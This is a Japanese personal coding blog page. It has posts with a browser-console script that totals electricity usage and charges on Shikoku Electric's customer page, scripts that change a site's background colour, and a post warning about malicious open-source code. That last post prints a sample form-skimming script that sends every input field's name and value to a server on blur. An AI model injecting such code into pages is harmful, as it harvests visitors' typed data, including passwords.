よんでんコンシェルジュの不具合について考える人。 #日別料金計算
2022.09.27
おはようございます。タイトルの不具合が解消されていたらゴメンナサイ。これは昨日に書いた記事です🤔。
夕方頃によんでんコンシェルジュの日別の電力と電力料金を見ようとした所、何やら不具合が発生していたらしく、合計金額が見えなくなっていたのでコードを書いてみました😌。
ざっくりとした金額合計が表示するような物ですので、実際の金額とは差異が発生します。ソースコードはこんな感じです。
let kwh = document.querySelectorAll(".img_area > table > tbody > tr > td");
if(kwh){let s = 0;
for(let i = 0;i < kwh.length ; i++){
if(kwh[i].innerText.match(/(kWh)/)){
s = s + (Number(String(kwh[i].innerText).replace("kWh",""))*100);
console.log(kwh[i].innerText);
}
}
let r = 0;
s = Math.floor(s /100);
if(s >11){
if(s < 120){
r = ((s -11) * 20) + 411;
}
if(s < 300){
r = ((s - 120) * 27) + 411 + 2220;
}
if(s >= 300){
r = ((s - 300) * 30) + 411 + 2220 + 4858;
}
}
console.log("合計金額=" + String(s) + "kWh " + String(r) + "円");
}
尚、消費電力が11kwh以下の人の金額は0円になっていますが、実際は料金が発生します。それにしても四国電力の料金内訳を見ていると何だか、モヤモヤする料金体系になっていて、これは面倒だなと感じました。こんな料金体系じゃなく一律のお値段にして欲しいですね・・・(消費電力によって値段が変動しますし…etc…)。
ソースコードの取り扱い:
上記のソースコードを四国電力(よんでんコンシェルジュ)の日別ページを開いた状態にして、ブラウザのコンソール画面にソースコードを貼り付けて実行してみてください。電力の合計金額などがコンソール画面に表示されます。
タグ
0, area, document, For, gt, if, img, innerText, kwh, length, let, lt, match, querySelectorAll, quot, TABLE, tbody, td, tr, コード, これ, コンシェルジュ, ソース, タイトル, よんでん, 不具合, 人, 合計, 夕方, 実際, 差異, 感じ, 所, 料金, 日別, 昨日, 物, 発生, 表示, 解消, 計算, 記事, 金額, 電力,
JavaScriptで背景色を変更するコードです。保持機能あり。
2022.07.22
こんにちは、JavaScriptで背景色を変更するコード+保持機能ありのコードを記載しますね。カラー色の保管はCookieを使用して対応しています。もう少しソースコードを短く出来るような気がしますが、お昼から出かけるのでこれで一旦終了とさせて頂きます。
let htmlcode = ["#181B39","#262a2e","#192734","#1c483b","#bf7800","#83094f"].map(elm =>`<span class='color_code' style='color:${elm}' data-color-code='${elm}'>■</span>`).join("\n");
const basecolor = "#262a2e";
let cookiefn = function (val) {
let CodeColor = val;
let r = document.cookie.split(';');
return r?((r)=>{
for(let ii = 0 ;ii<r.length;ii++){
let content = r[ii].split('=');
for(let i = 0 ;i<content.length;i++){
if(content[i].replaceAll(" ","")==="bgcolor_code"){
CodeColor = content[i +1];
}
}
}
return CodeColor;
})(r):CodeColor;
};
let old_color = cookiefn(basecolor);
console.log("log=" + old_color);
document.getElementById("site_description").insertAdjacentHTML("afterend", htmlcode);
let ColorCodeObject = document.querySelectorAll(".color_code");
for (const key in ColorCodeObject) {
if (Object.hasOwnProperty.call(ColorCodeObject, key)) {
const element = ColorCodeObject[key];
element.addEventListener("click", function (element) {
for (let ii = 0; ii < document.styleSheets.length; ii++) {
if (String(document.styleSheets[ii].href).match(/mag_tcd036-child\/style\.css\?ver=/)) {
for (let i = 0; i < document.styleSheets[ii].cssRules.length; i++) {
let element_css_code = document.styleSheets[ii].cssRules[i];
let rgbfn = function (hex) {
let red = parseInt(hex[1] + hex[2], 16);
let green = parseInt(hex[3] + hex[4], 16);
let blue = parseInt(hex[5] + hex[6], 16);
return `rgb(${red},${green},${blue})`;
};
try {
if (element_css_code.style.backgroundColor.replaceAll(" ","") === rgbfn(old_color).replaceAll(" ","")) {
console.log(rgbfn(old_color));
element_css_code.style.backgroundColor = rgbfn(ColorCodeObject[key].getAttribute("data-color-code"));
}
} catch (error) {
//console.log("not backgroundColor");
}
}
old_color = ColorCodeObject[key].getAttribute("data-color-code");
document.cookie = "bgcolor_code=" + old_color;
}
}
});
}
}
(function(){
for (let ii = 0; ii < document.styleSheets.length; ii++) {
if (String(document.styleSheets[ii].href).match(/mag_tcd036-child\/style\.css\?ver=/)) {
for (let i = 0; i < document.styleSheets[ii].cssRules.length; i++) {
let element_css_code = document.styleSheets[ii].cssRules[i];
let rgbfn = function (hex) {
let red = parseInt(hex[1] + hex[2], 16);
let green = parseInt(hex[3] + hex[4], 16);
let blue = parseInt(hex[5] + hex[6], 16);
return `rgb( ${red}, ${green}, ${blue})`;
};
try {
console.warn(element_css_code.style.backgroundColor.replaceAll(" ","") + " === " + rgbfn(old_color).replaceAll(" ",""));
if (element_css_code.style.backgroundColor.replaceAll(" ","") === rgbfn(basecolor).replaceAll(" ","")) {
element_css_code.style.backgroundColor = rgbfn(old_color);
}
} catch (error) {
//console.log("not backgroundColor");
}
}
document.cookie = "bgcolor_code=" + old_color;
}
}
})();
あとソースコードとは関係ありませんが、今日は44度を超える県が出てくると人工知能が予測したそうです、44度って凄まじく暑いと思いますので熱中症対策はしっかりとしてくださいね。
尚、このコードを可変してご自由に使用して構いませんが、出来ればお声掛けして頂けると嬉しいです。また、この記事のシェア、いいね等よろしくお願いします。
タグ
backgroundColor.replaceAll, basecolor, catch, CodeColor, ColorCodeObject, cookiefn, document.getElementById, element, elm, hex, htmlcode, insertAdjacentHTML, join, match, parseInt, querySelectorAll, replaceAll, RGB, styleSheets, val,
タイトルの下に背景色を変える■を追加しました。
2022.07.22
おはようございます、背景色を変える■を追加しました。四角をクリックすると背景色が変わります、ソースコードは下記になります。取り分けて難しくないソースコードになると思いますが、少しだけ解説をします。このソースコードはスタイルシートの記述(ファイルなど)を読み込んでバックグラウンドカラーの一部のカラーだけを任意のカラーに置き換えています。
let htmlcode = `
<span class='color_code' style='color:#262a2e' data-color-code='#262a2e'>■</span>
<span class='color_code' style='color:#192734' data-color-code='#192734'>■</span>
<span class='color_code' style='color:#1c483b' data-color-code='#1c483b'>■</span>
<span class='color_code' style='color:#bf7800' data-color-code='#bf7800'>■</span>
<span class='color_code' style='color:#83094f' data-color-code='#83094f'>■</span>
`;
let old_color = "#262a2e";
document.getElementById("site_description").insertAdjacentHTML("afterend", htmlcode);
let ColorCodeObject = document.querySelectorAll(".color_code");
for (const key in ColorCodeObject) {
if (Object.hasOwnProperty.call(ColorCodeObject, key)) {
const element = ColorCodeObject[key];
element.addEventListener("click", function (element) {
for (let ii = 0; ii < document.styleSheets.length; ii++) {
if (String(document.styleSheets[ii].href).match(/mag_tcd036-child\/style\.css\?ver=/)) {
for (let i = 0; i < document.styleSheets[ii].cssRules.length; i++) {
let element_css_code = document.styleSheets[ii].cssRules[i];
let rgbfn = function(hex){
let red = parseInt(hex[1]+hex[2],16);
let green = parseInt(hex[3]+hex[4],16);
let blue = parseInt(hex[5]+hex[6],16);
return `rgb(${red}, ${green}, ${blue})`;
};
try {
if (element_css_code.style.backgroundColor === rgbfn(old_color)) {
//console.log(rgbfn(old_color));
element_css_code.style.backgroundColor = rgbfn(ColorCodeObject[key].getAttribute("data-color-code"));
}
} catch (error) {
//console.log("not backgroundColor");
}
}
old_color = ColorCodeObject[key].getAttribute("data-color-code");
}
}
});
}
}
ソースコードも上から下へ進む感じで読んでいただけたら、読めるはずです。尚、躓く箇所といえば16進数でスタイルシートに記述しているものもRGBで格納されている所ですね。ここの比較が「えっ」って感じになるぐらいでしょうか。あとはそれ程、難しくないソースコードだと自負しております😌。
この頃、jqueryを触らなくなって悲しいかな仕様を半分ぐらい忘れております。やはりコードは毎日書くべきかなって思います。
タグ
backgroundColor, catch, ColorCodeObject, cssRules, document.getElementById, element, getAttribute, hex, htmlcode, Ii, insertAdjacentHTML, jquery, match, parseInt, querySelectorAll, quot, RGB, rgbfn, string, styleSheets,
悪意になるコードそうだよねぇ~オープンソース怖い。
2022.06.01
おはようございます。6月が始まりました。
今日のお題は「悪意になるコードそうだよねぇ~オープンソース怖い。」です。
こう思ったのは結構前からなのですが、今回、コードマフィアさんのYOUTUBE動画を見て再確認にした次第です。因みにこのソースコードが動くかどうかは知りません。
コードマフィアさんもお話されている通り、公式サイトで公開されているアプリ以外は注意が必要です、例えば無料配布サイトやgithubなどに置いてあるコードを実装するとかは、信頼性のないものは自らコードチェックを行わないと悪意のコードが入っていたという事もあるので・・・。
気をつけてくださいな😎
(function(){
const doc = document.querySelectorAll("input");
doc.forEach((e,k,p)=>{
p[k].addEventListener("blur",(e)=>{
var data = {};
data["name"] = e.target.name;
data["value"] = e.target.value;
send1(data);
});
});
})();
function send1(data){
var xhr = new XMLHttpRequest();
xhr.open("GET", "/?${data.name}=${data.value}", true);
xhr.onload = function (e) {
if (xhr.readyState === 4) {
if (xhr.status === 200) {
console.log(xhr.responseText);
} else {
console.error(xhr.statusText);
}
}
};
xhr.onerror = function (e) {
console.error(xhr.statusText);
};
xhr.send(null);
}
タグ
6, const, doc, document, foreach, function, github, gt, input, querySelectorAll, quot, youtube, アプリ, オープン, お話, コード, サイト, ソース, チェック, マフィア, もの, 事, 今回, 今日, 信頼性, 公式, 公開, 前, 動画, 実装, 必要, 悪意, 次第, 気, 注意, 無料, 確認, 自ら, 通り, 配布, 題,